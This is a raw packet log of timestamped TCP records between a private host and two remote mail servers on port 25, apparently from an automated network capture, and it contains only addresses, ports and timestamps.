Nov 7, 2022 22:25:10.834076881 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834084988 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834103107 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834126949 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834146976 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834167957 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834167957 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834192038 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834218979 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834220886 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834218979 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834239006 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834244013 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834305048 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867646933 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867676973 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867693901 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867710114 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867727995 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867729902 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867754936 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867789984 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867789984 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867824078 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867841005 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867862940 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867886066 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867889881 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867916107 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867923975 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867933035 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867949009 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867949963 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867966890 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867974997 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.867990971 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.867995977 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868010998 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868029118 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868033886 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868055105 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868063927 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868078947 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868079901 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868096113 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868098974 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868117094 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868133068 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868135929 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868161917 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868161917 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868179083 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868185043 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868202925 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868217945 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868221998 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868244886 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868247032 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868263960 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868268013 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868288040 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868304014 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868304014 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868336916 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868351936 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868415117 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868438005 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868455887 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868460894 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868479967 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868496895 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868504047 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868511915 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868525982 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868530989 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868551970 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868552923 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868571997 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868572950 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868594885 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868597984 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868614912 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868618011 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868643045 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868648052 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868664980 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868670940 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868688107 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868701935 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868715048 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868719101 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868733883 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868741035 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868752003 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868765116 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868769884 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868787050 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868793011 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868818045 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868845940 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868858099 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868881941 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868900061 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868922949 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868942022 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868968964 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868968964 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.868984938 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.868993998 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.869018078 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869040966 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869062901 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869095087 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869116068 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869136095 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869155884 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869178057 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869246960 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869281054 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869302988 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869323015 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869343996 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869378090 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869405985 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869434118 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869456053 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869488955 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869518042 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869549036 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869574070 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869605064 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869627953 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869647980 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869668007 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.869687080 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.901230097 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.901654959 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.901722908 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.901783943 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.901844025 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.902077913 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.902143002 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.902522087 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903063059 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903125048 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903183937 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903243065 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903304100 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903358936 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903417110 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903472900 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903532028 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903589964 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903647900 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903704882 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903764963 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903825998 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903888941 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.903948069 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904006958 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904066086 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904124022 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904174089 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904225111 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904289961 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904349089 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904407024 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904463053 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904520988 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904597998 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904663086 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904726028 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904782057 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904840946 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904897928 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.904951096 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905003071 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905060053 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905117035 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905174971 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905230999 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905280113 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905318022 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905354977 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905395031 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905447960 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905492067 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905529976 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905569077 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905606031 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905658960 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905709982 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905750036 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905790091 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905828953 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905868053 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905906916 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905945063 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.905983925 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906023979 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906060934 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906097889 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906135082 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906172037 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906213045 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906266928 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906315088 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906352997 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906390905 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906430006 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906469107 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906507015 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906546116 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906586885 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906625032 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906673908 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906717062 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906754971 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906791925 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906829119 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906867981 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906943083 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.906991005 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907044888 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907094002 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907131910 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907171011 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907210112 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907248974 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907278061 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907315969 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907363892 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907407999 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907448053 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907485962 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907525063 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907562971 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907610893 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907654047 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907701969 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.907742977 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.965287924 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.001214981 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.013387918 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.013437033 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.013566971 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.013605118 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:11.037936926 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.038007975 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.038033009 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.038055897 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.038204908 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.038268089 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.038525105 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.038846970 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.038961887 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039093018 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039118052 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039139986 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039160967 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039181948 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039200068 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039203882 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039233923 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039247036 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039268017 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039271116 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039288998 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039333105 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039366007 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039388895 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039422989 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039453030 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039475918 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039545059 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039566994 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039587975 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039609909 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039618969 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039632082 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039640903 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039655924 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039669991 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039705992 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039731979 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039756060 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039777994 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039798975 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039817095 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039822102 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039844036 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039844036 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039875984 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039892912 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039905071 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039916992 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039930105 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039940119 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039961100 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039961100 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.039979935 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.039989948 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.040011883 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.040014982 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.040034056 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.040040970 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.040055990 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.040056944 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.040079117 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.040081024 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.040101051 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.040102005 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.040123940 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.040126085 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.040149927 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.040173054 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.047038078 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:11.083089113 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083153963 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083180904 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083204031 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083225965 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083249092 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083273888 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083296061 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083317041 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083338976 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083358049 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083380938 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083404064 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083408117 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083408117 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083429098 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083595037 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083595037 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083626032 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083663940 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083663940 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:11.083698988 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:11.083728075 CET	25	49865	142.250.157.26	192.168.2.5
